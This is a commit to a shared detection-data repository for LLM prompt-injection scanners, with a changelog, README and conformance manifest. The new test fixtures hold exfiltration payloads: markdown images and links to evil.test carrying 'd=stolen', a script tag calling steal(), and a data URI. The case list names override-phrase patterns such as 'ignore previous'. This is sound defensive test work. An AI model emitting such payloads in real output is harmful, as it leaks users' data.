Squashed 'scanners/commons/' changes from 0ffee85..532d70d

532d70d release(0.2.0): the contract gained a MUST, so the tag has to move
946f51d fix(active-content,conformance): cite line numbers per commit — they do not resolve at the pin
bdcb1f1 feat(conformance): ship the six active-content cases; the id space already existed
807c0d4 feat(spec): add not-applicable, so a single-runtime table stops reading as 7 defects
a1578e6 fix(conformance): record the guard's internal-surface position on _LEX_PAYLOADS
4d351d2 fix(mapping): state that three of four OWASP maps have no production consumer
f082a91 fix(lexicon,docs): retract the claim that the guard's port cites severity.mjs

git-subtree-dir: scanners/commons
git-subtree-split: 532d70d5ed2f9b23a8efad760ef490356cf52ada
This commit is contained in:
Kjell Tore Guttormsen 2026-08-11 13:02:33 +02:00
commit 9b95fc607e
20 changed files with 533 additions and 37 deletions

View file

@ -9,6 +9,139 @@ Versioning note: the repository tag versions **the contract** (file set, key nam
case ids, disposition semantics). Each JSON file additionally carries its own case ids, disposition semantics). Each JSON file additionally carries its own
`"version"` field, bumped when that file changes. `"version"` field, bumped when that file changes.
## [Unreleased]
## [0.2.0] — 2026-08-11
The contract gained a normative MUST, which is why this is a release rather than a
metadata commit: **a runtime that conformed to `v0.1.0` does not conform to this one until
it declares the set of commons data files it implements.** In 0.x that is a minor bump by
the rules, but it is breaking in substance, and a consumer reading only the version number
should learn that here rather than from a failing suite.
Everything below this heading was previously listed as unreleased.
### Retracted
- **The claim that the Python guard's port cites `severity.mjs` for hybrid severity.** It is
false. It was carried in three places — `lexicon/injection-lexicon.json`
(`families[hybrid].severity_provenance.not_from`), `docs/lexicon-port-divergence.md`
*Severity: the 8 hybrid patterns*), and the `[0.1.0]` entry below — and it was never
measured here. It restated an assertion received from `llm-security` (coord message
`20260809T201048Z`) as a commons finding.
Measured against the guard's own tree, which `llm-ingestion-pipeline-security` asked for
twice before this was checked: `severity.mjs` has **never** appeared in
`src/llm_ingestion_guard/injection_lexicon.json` at any point in that file's history
(`git log -S` returns no commits), and at `0bf0729` — the commit
`conformance/manifest.json` pins — the only tree-wide occurrence is `docs/PLAN.md:114`,
correctly attributing the *report* module to `output.mjs` + `severity.mjs`. The guard's
only source statement for the lexicon is the `note` at `injection_lexicon.json:3`, and it
names `injection-patterns.mjs`.
**No detection data moves.** `families[hybrid].severity` is still `high`, still sourced to
`injection-patterns.mjs:274-281`, re-verified at `b0de0ca`; `severity.mjs` still contains
zero occurrences of `CRITICAL_PATTERNS`, `HIGH_PATTERNS`, `MEDIUM_PATTERNS` and
`HYBRID_PATTERNS`, re-measured the same day. Only the sentence about the *other* repository
falls.
The retraction is marked in place rather than edited away, and it is worth naming why this
one survived review: the claim arrived bundled with a correct measurement of the same
question, from a repository that had done its half properly. The correct half carried the
incorrect half past the check — which is precisely the defect
`severity_provenance.not_from` was written to warn about, one level up.
### Added
- **`not-applicable`, a third conformance verdict** (`spec/conformance-corpus.md` §1.1). A
runtime now declares the set of commons data files it implements; a case whose `scope`
names a file outside that set is `not-applicable` rather than failed. §1 alone would have
reported an architectural difference as a defect — one seeding runtime has no
active-content table and never will, and 7 permanent failures say nothing a reader can use.
The verdict is fenced so it cannot become an exit: it attaches to a **table**, never to a
case (per-case opt-out is the silent skip §1 forbids), a declared set MUST NOT be narrowed
to convert failures into `not-applicable`, and such cases MUST still be enumerated rather
than dropped from the denominator. §8 now states the consequence: a pass count is
unreadable without the declared set beside it.
- **Six active-content conformance cases**`active__markdown-image`, `active__markdown-link`,
`active__reference-link`, `active__autolink`, `active__raw-html`, `active__data-uri`. The
corpus goes 83 → 89, and `scope_covered` gains `signatures/active-content.json`.
Generated from measurement, not written: payload strings were extracted from the seed
runtime's `coverage.py` by AST — evaluating each `_scan_case` argument in that module's own
namespace rather than retyping detection data — then run through its public output gate.
The fixtures were then re-read from disk by a separate checker that re-computed every
digest, re-scanned the bytes and applied `exact-within-scope` independently of the
generator, because a generator agreeing with itself proves nothing: 6 cases, 0 failed
checks.
**These six prove less than the 83, and the manifest says so.** Their payloads come from
the only runtime implementing the table, so no second implementation's agreement could be
measured. They pin one runtime's behaviour as a contract a future implementer can be held
to — which is less than cross-runtime agreement and more than nothing.
- `signatures/active-content.json` **0.1.0 → 0.2.0** — a `pattern_id_space` block. Unlike the
lexicon's, nothing was constructed: `label_format` and the `constructs` keys were already
extracted verbatim, and their concatenation *is* what the seed runtime emits. The block
states an id space the file already had implicitly, and records that it is ratified by
**one** runtime rather than two.
### Changed
- `lexicon/injection-lexicon.json` **0.5.0 → 0.5.1** — provenance metadata only; no pattern,
id, alias, family or severity value changes.
- `conformance/manifest.json` **0.1.1 → 0.2.0** — the six cases, `scope_covered`,
`count_by_scope`, separate provenance and measurement blocks for the active-content half
(a different source structure at a different commit; one pin must not stand for two
measurements), and `scope_planned.blockers`.
- **`spec/conformance-corpus.md` §4 no longer claims scoping "asks a question both can
answer."** That held only while every case was scoped to the one table both runtimes
implement, and stopped being true the moment a case was scoped to a single-runtime table.
Scope narrows *what* is compared; it does not make every runtime a valid addressee. The
superseded sentence is named in place rather than edited away.
### Fixed
- **§4 now states that "belongs to a data file" means published there, never "shares its
prefix."** The distinction has a live witness: the seed runtime emits `active:oversize-input`,
a self-safety flag about its own scan cap, which carries the `active:` prefix but is no
construct in `signatures/active-content.json`. A prefix-matching runtime would pull it into
the comparison and fail a case over a finding the corpus makes no claim about. Recorded in
that file under `pattern_id_space.not_every_active_label` as well.
- **§6 now states the derivation's cost.** `case_id` derives from `pattern_id` alone, so a
single-finding scope holds at most one case per pattern id — there is nowhere in the name
for a second. The seed runtime's matrix drives *two* payloads at `active:markdown-image`;
measured, their in-scope finding sets are identical, and the second's only distinguishing
signal (`entropy:base64-blob`) falls outside every table this repository publishes. It was
dropped rather than given a discriminated id, which would have broken the reverse
transform, and it is named in `conformance/manifest.json` under `omitted_payloads` so that
6 built from 7 offered reads as a decision rather than a miscount.
### Measured, not shipped
- **The remaining four cases are blocked on two distinct unresolved questions**, now recorded
under `scope_planned.blockers` instead of the earlier blanket "no runtime has agreed to an
id space". That framing was wrong for both:
- **Carriers (3).** No adoptable id space, and a second problem underneath. The guard emits
two *stage-coupled* labels for one carrier — `sanitize:zero-width` on input,
`output:zero-width-present` on output, same split for bidi and unicode-tag — while
llm-security emits prose titles. A commons id must be invented stage-neutral, which no
other id space here required. And since `exact-within-scope` compares a finding *set*, an
id aliasing both labels makes the verdict depend on which entry point the runtime was
measured through — an entry-point dependence the lexicon cases do not have.
- **Secret egress (1).** Not an id-naming question at all. The two runtimes carry
**different tables**: 18 entries here against the guard's 25, cut at different
granularities (this file's single `GitHub Token` is four ids there, `Private Key PEM
Block` three, `Database connection string` four), with membership diverging both ways.
`aws-access-key-id` is the one clean 1:1 — which is why exactly one egress case was ever
offered. That number was a symptom, not modesty. A shared id space presupposes a table
reconciliation nobody has done.
## [0.1.0] — 2026-08-10 ## [0.1.0] — 2026-08-10
Initial extraction. Runtime-neutral detection data, the finding contract, and a conformance Initial extraction. Runtime-neutral detection data, the finding contract, and a conformance
@ -224,6 +357,11 @@ mutation, not a weak fixture, and it is recorded as such rather than rounded up.
`severity_provenance.not_from` records the miss explicitly: a wrong citation to a right `severity_provenance.not_from` records the miss explicitly: a wrong citation to a right
value is the harder defect to catch later. value is the harder defect to catch later.
> **Correction 2026-08-10 (see Unreleased):** the two sentences about *the guard's* citation
> are false and were never measured here. The guard's port cites `injection-patterns.mjs`,
> the right file. Everything above about `severity.mjs` containing no injection-family
> severity, and about where the value actually lives, stands and has been re-measured.
`pattern_id_space.not_yet_confirmed` is replaced by `ratification`. Both seeding runtimes `pattern_id_space.not_yet_confirmed` is replaced by `ratification`. Both seeding runtimes
agreed on 2026-08-09 — `llm-security` ratified the 0.2.0 proposal as-is and treats an id agreed on 2026-08-09 — `llm-security` ratified the 0.2.0 proposal as-is and treats an id
change as breaking on the same terms, and the guard confirmed the space its own port change as breaking on the same terms, and the guard confirmed the space its own port

View file

@ -24,17 +24,17 @@ As a `git subtree` (recommended: history is preserved and upgrades are a single
```bash ```bash
git subtree add --prefix vendor/commons \ git subtree add --prefix vendor/commons \
https://git.fromaitochitta.com/open/llm-security-commons.git v0.1.0 --squash https://git.fromaitochitta.com/open/llm-security-commons.git v0.2.0 --squash
# later, to move to a newer tag # later, to move to a newer tag
git subtree pull --prefix vendor/commons \ git subtree pull --prefix vendor/commons \
https://git.fromaitochitta.com/open/llm-security-commons.git v0.2.0 --squash https://git.fromaitochitta.com/open/llm-security-commons.git <newer-tag> --squash
``` ```
Or pin a tag and copy — `fork-and-own` is an explicitly supported path: Or pin a tag and copy — `fork-and-own` is an explicitly supported path:
```bash ```bash
git clone --depth 1 --branch v0.1.0 \ git clone --depth 1 --branch v0.2.0 \
https://git.fromaitochitta.com/open/llm-security-commons.git https://git.fromaitochitta.com/open/llm-security-commons.git
``` ```
@ -59,15 +59,15 @@ and keeping it that small is the point.
| [`mapping/owasp-map.json`](mapping/owasp-map.json) | Finding-id prefix → OWASP taxonomy entry (LLM / ASI / AST / MCP). | | [`mapping/owasp-map.json`](mapping/owasp-map.json) | Finding-id prefix → OWASP taxonomy entry (LLM / ASI / AST / MCP). |
| [`schema/finding.schema.json`](schema/finding.schema.json) | **Normative.** The finding contract — closed against its producer, ten properties — plus the SARIF output profile. The JSONL profile is recorded as `not applicable`, with the reason. | | [`schema/finding.schema.json`](schema/finding.schema.json) | **Normative.** The finding contract — closed against its producer, ten properties — plus the SARIF output profile. The JSONL profile is recorded as `not applicable`, with the reason. |
| [`spec/conformance-corpus.md`](spec/conformance-corpus.md) | **Normative.** How to read the corpus: what a case is, why `input.txt` is bytes rather than text, and what `exact-within-scope` requires of a runtime. | | [`spec/conformance-corpus.md`](spec/conformance-corpus.md) | **Normative.** How to read the corpus: what a case is, why `input.txt` is bytes rather than text, and what `exact-within-scope` requires of a runtime. |
| [`conformance/`](conformance/) | 83 cases, one per injection-lexicon pattern. One directory per case: `input.txt` in, `expected.json` out. Ground truth. Both seeding runtimes were measured producing the same verdict on all 83 — see [`conformance/manifest.json`](conformance/manifest.json). | | [`conformance/`](conformance/) | 89 cases. One directory per case: `input.txt` in, `expected.json` out. Ground truth. 83 cover the injection lexicon, one per pattern, and both seeding runtimes were measured producing the same verdict on all 83. Six cover active content and are measured against the one runtime that implements that table — `not-applicable` for the other, not failing. See [`conformance/manifest.json`](conformance/manifest.json). |
| `spec/decode-pipeline.md` | **Planned, not in v0.1.0.** The decode order, in RFC 2119 language. Two runtimes that decode in different orders will disagree on identical input. Writing it needs the decode implementation, which is engine code and has not been supplied — and a normative spec guessed from a data dump would be worse than an absent one. | | `spec/decode-pipeline.md` | **Planned, still not shipped as of v0.2.0.** The decode order, in RFC 2119 language. Two runtimes that decode in different orders will disagree on identical input. Writing it needs the decode implementation, which is engine code and has not been supplied — and a normative spec guessed from a data dump would be worse than an absent one. |
| [`docs/extraction-plan.md`](docs/extraction-plan.md) | Informative: where each file was seeded from, and what v0.1.0 promised. | | [`docs/extraction-plan.md`](docs/extraction-plan.md) | Informative: where each file was seeded from, and what v0.1.0 promised. |
| [`docs/lexicon-port-divergence.md`](docs/lexicon-port-divergence.md) | Informative: a measured disagreement between two ports of the injection lexicon — 13 patterns that behave differently, in both directions, and why no data file was changed because of it. | | [`docs/lexicon-port-divergence.md`](docs/lexicon-port-divergence.md) | Informative: a measured disagreement between two ports of the injection lexicon — 13 patterns that behave differently, in both directions, and why no data file was changed because of it. |
Every JSON file carries a top-level `version`. Every normative specification carries a Every JSON file carries a top-level `version`. Every normative specification carries a
`Status: normative` marker. Rows marked **Planned** are named here because the layout is `Status: normative` marker. Rows marked **Planned** are named here because the layout is
part of the contract, but the file does not exist yet — they are not links, and nothing in part of the contract, but the file does not exist yet — they are not links, and nothing in
v0.1.0 depends on them. v0.2.0 depends on them.
Each data file records its own provenance and, in `verified`, how strongly it is backed. Each data file records its own provenance and, in `verified`, how strongly it is backed.
`calibration/calibration.json` is currently the one file that says `false`: it was `calibration/calibration.json` is currently the one file that says `false`: it was
@ -88,12 +88,24 @@ in its own commit, with the reason written down.
There is **no CI in this organisation** and nothing runs that comparison automatically. It There is **no CI in this organisation** and nothing runs that comparison automatically. It
runs in each consumer's own test suite, against a pinned tag. runs in each consumer's own test suite, against a pinned tag.
The v0.1.0 corpus covers `lexicon/injection-lexicon.json`, the one table whose finding ids The corpus covers two tables, and they do not carry equal weight — treating them as one
are ratified by both seeding runtimes. Eleven further cases exist in a seed suite for the number would misreport both:
carrier, active-content and secret-egress tables and are **not** shipped: naming a finding
in those tables would mean minting a cross-runtime id space no runtime has agreed to. - `lexicon/injection-lexicon.json` — 83 cases. Both seeding runtimes implement it and both
`conformance/manifest.json` names them under `scope_planned` so the gap is visible rather ratified its id space.
than inferred. - `signatures/active-content.json` — 6 cases. One runtime implements it. For a runtime that
does not, these cases are **`not-applicable`**, a third verdict beside pass and fail: a
runtime declares which commons data files it implements, and a case scoped outside that
set was never addressed to it. See [§1.1](spec/conformance-corpus.md) — and note that
`not-applicable` says the corpus did not ask, never that the runtime is blind.
Four cases remain unshipped, for the carrier and secret-egress tables, and neither is
blocked on effort. Carriers has no adoptable id space: one runtime labels the same carrier
differently depending on pipeline stage, which would make a case's verdict depend on the
entry point it was measured through. Secret egress is not an id question at all — the two
runtimes carry *different tables*, 18 entries against 25, cut at different granularities.
`conformance/manifest.json` records both blockers under `scope_planned.blockers`, measured,
so the gap is visible rather than inferred.
## Non-goals ## Non-goals
@ -114,10 +126,18 @@ than inferred.
- **Coverage is the union of what the seed implementations detected**, not of what exists. - **Coverage is the union of what the seed implementations detected**, not of what exists.
A class absent from the tables above has not been shown to work anywhere. A class absent from the tables above has not been shown to work anywhere.
- **The corpus is narrower than the data.** `conformance/` constrains one of the seven data - **The corpus is narrower than the data.** `conformance/` constrains two of the seven data
files. The other six are published, provenance-checked and unfixtured: a runtime can files. The other five are published, provenance-checked and unfixtured: a runtime can
pass every case and still read `calibration.json` wrongly. Passing the corpus is evidence pass every case and still read `calibration.json` wrongly. Passing the corpus is evidence
about the injection lexicon and about nothing else. about the injection lexicon and about active content, and about nothing else.
- **A pass count is unreadable without the declared table set.** A runtime implementing one
table and a runtime implementing four can print the same number. `not-applicable` cases
must be reported, not dropped from the denominator — `76/83` and `76 passed, 6
not-applicable` describe different runtimes.
- **The six active-content cases prove less than the 83.** Their payloads come from the only
runtime that implements the table, so no second implementation's agreement could be
measured. They pin one runtime's behaviour as a contract a future implementer can be held
to; they are not cross-runtime agreement.
- **Regex portability is a real risk.** Pattern data is written for a common subset, but - **Regex portability is a real risk.** Pattern data is written for a common subset, but
engines differ (lookbehind, named groups, Unicode property escapes). A consumer whose engines differ (lookbehind, named groups, Unicode property escapes). A consumer whose
engine rejects a pattern must report it rather than silently skip it — a skipped pattern engine rejects a pattern must report it rather than silently skip it — a skipped pattern

View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__autolink",
"input": {
"file": "input.txt",
"bytes": 44,
"sha256": "effb96b0d00c49dc20622dc4c3c76b969486383bda554ed4c166db1ad506fae5"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:autolink"
}
],
"observed_out_of_scope": {}
}

View file

@ -0,0 +1 @@
contact <https://evil.test/collect?d=stolen>

View file

@ -0,0 +1,23 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__data-uri",
"input": {
"file": "input.txt",
"bytes": 42,
"sha256": "e19699e84d06921aae81097ad4976867ea2fd1d19e8c75a37689e7eb89295440"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:data-uri"
}
],
"observed_out_of_scope": {
"llm_ingestion_guard": [
"data-uri:executable"
]
}
}

View file

@ -0,0 +1 @@
payload data:text/html;base64,PHN2Zz4= end

View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__markdown-image",
"input": {
"file": "input.txt",
"bytes": 42,
"sha256": "0c2e81798f37b962c1b75bb3b3d0862d29f2d7728718ebe1a5e314e93b603180"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:markdown-image"
}
],
"observed_out_of_scope": {}
}

View file

@ -0,0 +1 @@
![chart](https://evil.test/exfil?d=stolen)

View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__markdown-link",
"input": {
"file": "input.txt",
"bytes": 46,
"sha256": "46fa07ed3032e9eb3f58935146e6e154e3284876e75347795bb2d2cf61068efe"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:markdown-link"
}
],
"observed_out_of_scope": {}
}

View file

@ -0,0 +1 @@
see [here](https://evil.test/collect?d=stolen)

View file

@ -0,0 +1,23 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__raw-html",
"input": {
"file": "input.txt",
"bytes": 24,
"sha256": "569e51d8bb3248bc3ececd96d95362d177fd71c2aa0eaefc4345b25fe6c6cec3"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:raw-html"
}
],
"observed_out_of_scope": {
"llm_ingestion_guard": [
"hybrid-xss:script-tag"
]
}
}

View file

@ -0,0 +1 @@
<script>steal()</script>

View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__reference-link",
"input": {
"file": "input.txt",
"bytes": 41,
"sha256": "2f80e304dab5436a078642d2465f29772cef3a201fd6ff1f72b6bff0005d1e10"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:reference-link"
}
],
"observed_out_of_scope": {}
}

View file

@ -0,0 +1 @@
[ref]: https://evil.test/collect?d=stolen

View file

@ -1,34 +1,52 @@
{ {
"version": "0.1.0", "version": "0.2.0",
"id": "llm-security-commons/conformance", "id": "llm-security-commons/conformance",
"description": "Enumeration and measurement header for the conformance corpus. Every case directory holds input.txt (the exact bytes to scan) and expected.json (the findings a conforming runtime must produce). The normative reading of those files is spec/conformance-corpus.md; this file records where the cases came from and what was measured.", "description": "Enumeration and measurement header for the conformance corpus. Every case directory holds input.txt (the exact bytes to scan) and expected.json (the findings a conforming runtime must produce). The normative reading of those files is spec/conformance-corpus.md; this file records where the cases came from and what was measured.",
"$comment": "Fixture files carry no individual version field. The corpus is versioned as a whole, here — a case is added, removed or corrected by bumping this version, and a case-id change is a MAJOR bump because consumers name cases.", "$comment": "Fixture files carry no individual version field. The corpus is versioned as a whole, here — a case is added, removed or corrected by bumping this version, and a case-id change is a MAJOR bump because consumers name cases.",
"case_id_derivation": { "case_id_derivation": {
"rule": "case_id = pattern_id with ':' replaced by '__'", "rule": "case_id = pattern_id with ':' replaced by '__'",
"reverse": "pattern_id = case_id with '__' replaced by ':'", "reverse": "pattern_id = case_id with '__' replaced by ':'",
"why": "':' is not a legal filename character on Windows, and this repository is fork-and-own. '__' does not occur in the ratified id space, so the transform is one-to-one — verified collision-free across all 83.", "why": "':' is not a legal filename character on Windows, and this repository is fork-and-own. '__' does not occur in the ratified id space, so the transform is one-to-one — verified collision-free across all 89.",
"stability": "A case id is a stable identifier. Changing one is a BREAKING change." "stability": "A case id is a stable identifier. Changing one is a BREAKING change.",
"one_case_per_pattern_id": "The derivation takes a pattern id and nothing else, so a single-finding scope holds at most one case per pattern id — there is nowhere in the name to put a second. See spec/conformance-corpus.md section 6, and `omitted_payloads` below for the one payload this actually cost."
}, },
"match_semantics": "exact-within-scope", "match_semantics": "exact-within-scope",
"scope_covered": [ "scope_covered": [
"lexicon/injection-lexicon.json" "lexicon/injection-lexicon.json",
"signatures/active-content.json"
], ],
"scope_covered_note": "The two entries do NOT have equal standing, and averaging them would misreport both. `lexicon/injection-lexicon.json` is implemented by both seeding runtimes and its id space is ratified by both. `signatures/active-content.json` is implemented by one; its cases are `not-applicable` for the other under spec/conformance-corpus.md section 1.1, not failures. See that file's `pattern_id_space.single_runtime`.",
"scope_planned": { "scope_planned": {
"$comment": "Named rather than faked. The guard's coverage matrix holds 11 further convertible cases (3 carrier, 7 active-content, 1 secret-egress), but the lexicon is the only table whose finding id space is ratified by both seeding runtimes. Fixtures for the others would mint a cross-runtime contract this repository has no agreement for, so they wait for one.", "$comment": "Named rather than faked. Four convertible cases remain in the guard's coverage matrix (3 carrier, 1 secret-egress), and neither table is blocked on effort — each is blocked on a distinct unresolved question, measured 2026-08-10 and recorded below rather than left as 'no agreement yet'.",
"codepoints/carriers.json": 3, "codepoints/carriers.json": 3,
"signatures/active-content.json": 7, "signatures/secret-egress.json": 1,
"signatures/secret-egress.json": 1 "blockers": {
"codepoints/carriers.json": "No adoptable id space, and a second problem underneath it. The guard emits TWO stage-coupled labels for the same carrier depending on pipeline position — `sanitize:zero-width` (input) versus `output:zero-width-present` (output), and the same split for bidi and unicode-tag; llm-security emits prose titles (unicode-scanner.mjs:191,236). A commons id would therefore have to be invented stage-neutral, which no other id space here required. And because `exact-within-scope` compares a finding SET, a commons id aliasing both guard labels would make the verdict depend on which entry point the runtime was measured through — an entry-point dependence the lexicon cases do not have, since this manifest pins entry point as a measurement fact rather than as contract.",
"signatures/secret-egress.json": "Not an id-naming question at all. The two runtimes carry DIFFERENT TABLES, not two namings of one: this file holds 18 entries from llm-security, the guard's `_SECRET_PATTERNS` (output.py) holds 25 at different cut points — this file's single `GitHub Token` is four ids there, `Private Key PEM Block` is three, `Database connection string` is four — and membership diverges both ways (the guard has `gcp-service-account-json` and `openai-api-key-legacy`, which are absent here; this file has `Slack/Discord Webhook URL` and `Azure AI Services Key`, which are absent there). `aws-access-key-id` is the one clean one-to-one, which is why exactly one egress case was ever offered. A shared id space presupposes a table reconciliation that has not happened."
}
}, },
"omitted_payloads": [
{
"source": "llm-ingestion-pipeline-security src/llm_ingestion_guard/coverage.py:484, at commit de09711 (line numbers are commit-relative; the structure is the fifth `_scan_case` of `_build_cases()`'s `active` group)",
"described_as": "opaque (base64) path segment",
"expected_label": "active:markdown-image",
"reason": "Its in-scope finding set is `[active:markdown-image]` — identical, measured, to the case built from coverage.py:476. The only thing that distinguishes it is `entropy:base64-blob`, and this repository publishes no entropy table, so the difference falls outside every declared scope. A second case could not have failed in any way the first does not, and the case-id derivation has no room for it (see `case_id_derivation.one_case_per_pattern_id`).",
"$comment": "Recorded so that 6 built from 7 offered reads as a decision rather than as a miscount."
}
],
"payload_provenance": { "payload_provenance": {
"$scope": "The 83 lexicon cases. The 6 active-content cases have their own provenance in `active_content_provenance` below — they come from a different structure in the same file, at a different commit, and folding them in here would let one pin stand for two measurements.",
"source_repo": "llm-ingestion-pipeline-security", "source_repo": "llm-ingestion-pipeline-security",
"source_file": "src/llm_ingestion_guard/coverage.py", "source_file": "src/llm_ingestion_guard/coverage.py",
"source_export": "_LEX_PAYLOADS", "source_export": "_LEX_PAYLOADS",
"source_commit": "0bf07295c2191d5061537834abf22929f7d50826", "source_commit": "0bf07295c2191d5061537834abf22929f7d50826",
"source_version": "0.3.4", "source_version": "0.3.4",
"$comment": "The inputs were authored by one of the two runtimes, as one payload per pattern id, and are reproduced verbatim. That asymmetry is stated rather than averaged away: what makes them usable as a cross-runtime corpus is not their origin but the measurement below, which ran them through the other runtime as well and found the same lexicon verdict on every one.", "$comment": "The inputs were authored by one of the two runtimes, as one payload per pattern id, and are reproduced verbatim. That asymmetry is stated rather than averaged away: what makes them usable as a cross-runtime corpus is not their origin but the measurement below, which ran them through the other runtime as well and found the same lexicon verdict on every one.",
"id_set_check": "The 83 payload keys and the 83 commons pattern ids are the same set — compared, not assumed." "id_set_check": "The 83 payload keys and the 83 commons pattern ids are the same set — compared, not assumed.",
"stability_note": "llm-ingestion-pipeline-security states (coord message 2026-08-10T12:42:31Z) that _LEX_PAYLOADS and the 83 pattern ids are an internal surface on their side, with no README/CHANGELOG/docs statement promising id or payload stability - their own test suite enforces id coverage as their gate, not as a promise to this repository. Their stated position: if a payload changes upstream, this manifest's pin diverges and should be re-pinned; divergence is a re-pin signal, not a breach of a contract they never granted."
}, },
"measurement": { "measurement": {
"$scope": "The 83 lexicon cases. The 6 active-content cases are measured in `active_content_measurement`.",
"date": "2026-08-10", "date": "2026-08-10",
"method": "Each payload was run through both runtimes' PUBLIC entry point — not through a rebuilt regex table — and the resulting finding labels were mapped to commons pattern ids through the lexicon's own aliases block. Comparing at the entry point is deliberate: a table-level comparison produces a number that describes neither runtime.", "method": "Each payload was run through both runtimes' PUBLIC entry point — not through a rebuilt regex table — and the resulting finding labels were mapped to commons pattern ids through the lexicon's own aliases block. Comparing at the entry point is deliberate: a table-level comparison produces a number that describes neither runtime.",
"runtimes": [ "runtimes": [
@ -65,7 +83,55 @@
"see": "docs/lexicon-port-divergence.md" "see": "docs/lexicon-port-divergence.md"
} }
}, },
"count": 83, "active_content_provenance": {
"source_repo": "llm-ingestion-pipeline-security",
"source_file": "src/llm_ingestion_guard/coverage.py",
"source_structure": "the `active` group of `_build_cases()` — seven `_scan_case(...)` call sites, coverage.py:476-488",
"source_commit": "de09711",
"source_version": "0.4.0",
"extraction_method": "The payload strings were located by parsing coverage.py's AST for `_scan_case` calls whose first argument is `\"active\"`, and each payload expression was evaluated against that module's own namespace (which supplies the base64 constant one of them embeds). Retyping them here would have been the from-memory failure this repository forbids for detection data.",
"$comment": "A different structure and a different commit from `payload_provenance` above, which covers the 83 lexicon cases. Six of the seven extracted payloads became cases; the seventh is in `omitted_payloads` with its measured reason.",
"asymmetry": "These payloads were authored by the only runtime that implements the table they test, so unlike the lexicon corpus there is no second runtime whose agreement could be measured. That is a real limit on what these six cases prove, and it is stated rather than averaged away: they pin one runtime's behaviour as a contract a future implementer can be held to, which is less than the lexicon cases prove and more than nothing."
},
"active_content_measurement": {
"date": "2026-08-10",
"method": "Each payload was run through the guard's PUBLIC output gate — the same entry point the 83 lexicon cases were measured through, so the two halves of the corpus are comparable. Findings were split into in-scope and residue by MEMBERSHIP in signatures/active-content.json's published `pattern_id_space.ids`, not by the `active:` prefix (see spec/conformance-corpus.md section 4).",
"verification": "The generated fixtures were then re-read from disk by a separate checker that re-computed each digest, re-scanned the bytes, and applied `exact-within-scope` independently of the generator — a generator agreeing with itself proves nothing. 6 cases, 0 failed checks.",
"runtimes": [
{
"name": "llm_ingestion_guard",
"repo": "llm-ingestion-pipeline-security",
"commit": "de09711",
"version": "0.4.0",
"entry_point": "scan_output(text, source=Source.OUTPUT)",
"engine": "CPython 3.14.0",
"measurement_limit": "Findings outside signatures/active-content.json that this gate raised are recorded per case in observed_out_of_scope as informative evidence, never as expectation. Two of the six carry such residue, and in both it is a lexicon id."
},
{
"name": "llm_security",
"repo": "ssh://git@git.fromaitochitta.com/open/llm-security.git",
"commit": "b0de0ca6d86ce697f39669d177c2c2654c280128",
"status": "not-applicable",
"status_basis": "This runtime does not implement signatures/active-content.json, so under spec/conformance-corpus.md section 1.1 these six cases are `not-applicable` there — neither passes nor failures. It was NOT run against them; a measurement whose verdict the spec defines as inapplicable would produce a number that means nothing.",
"absence_evidence": "Measured at b0de0ca, not assumed. A case-insensitive tree-wide search for an active-content detector, class table or emitted `active:` label returns no implementation — only prose in `knowledge/` and an entropy-scanner test mentioning the markdown-image construct. `git log -S 'active_content'` and `git log -S 'active:markdown'` over `--all` return zero commits, closing the 'it was there once' reading.",
"not_a_coverage_claim": "Absent table is not absent capability: this runtime's entropy scanner reaches markdown-image URLs by a different route (host- and query-aware). What is measured absent is the table, which is all `not-applicable` asserts."
}
],
"results": {
"payloads_extracted": 7,
"cases_built": 6,
"payloads_omitted": 1,
"cases_verified_independently": 6,
"failed_checks": 0,
"cases_with_out_of_scope_residue_in_the_guard": 2
},
"guard_drift_note": "The guard's HEAD moved twice during this measurement (3c56d50 -> de09711 -> 398eb74). Measurement ran at de09711. Checked rather than hoped: 398eb74 touches only docs/PLAN-v1.md and tests/test_disposition.py, so no measured file changed under the measurement. active_content.py DID change between 0bf0729 — the commit signatures/active-content.json pins — and de09711; the change adds a scan-cap self-safety finding and touches no construct. See that file's `pattern_id_space.verified.at_commit_note`."
},
"count": 89,
"count_by_scope": {
"lexicon/injection-lexicon.json": 83,
"signatures/active-content.json": 6
},
"cases": [ "cases": [
"override__ignore-previous", "override__ignore-previous",
"override__forget-instructions", "override__forget-instructions",
@ -149,6 +215,12 @@
"hybrid-xss__script-tag", "hybrid-xss__script-tag",
"hybrid-xss__javascript-uri", "hybrid-xss__javascript-uri",
"hybrid-xss__event-handler", "hybrid-xss__event-handler",
"hybrid-xss__iframe-src" "hybrid-xss__iframe-src",
"active__markdown-image",
"active__markdown-link",
"active__reference-link",
"active__autolink",
"active__raw-html",
"active__data-uri"
] ]
} }

View file

@ -166,12 +166,29 @@ differences in the table above are closed.
The part worth keeping is where the value lives. It is not a field. The engine assigns it by The part worth keeping is where the value lives. It is not a field. The engine assigns it by
pushing `HYBRID_PATTERNS` matches straight into the `high` bucket at pushing `HYBRID_PATTERNS` matches straight into the `high` bucket at
